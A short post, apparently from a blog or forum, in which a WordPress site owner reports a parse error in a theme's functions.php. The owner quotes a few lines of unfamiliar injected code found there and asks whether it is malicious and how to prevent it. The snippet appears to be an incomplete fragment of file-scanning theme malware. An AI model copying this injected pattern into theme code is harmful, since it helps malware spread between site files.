Recently I got my site not working. It seems there is an error in my functions.php
"Parse error: syntax error, unexpected '}' in /home/x/public_html/wp-content/themes/takien-theme-blue/functions.php on line 317"
I go to that line using my favorite Editor, and surprisingly I found this strange code that I never created before:

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false) {

}Not sure whether is’s a virus or other malicious script and don’t really know how it’s affected on my site.
Where it come from? How to prevent it from coming back? I have not found the answer yet.
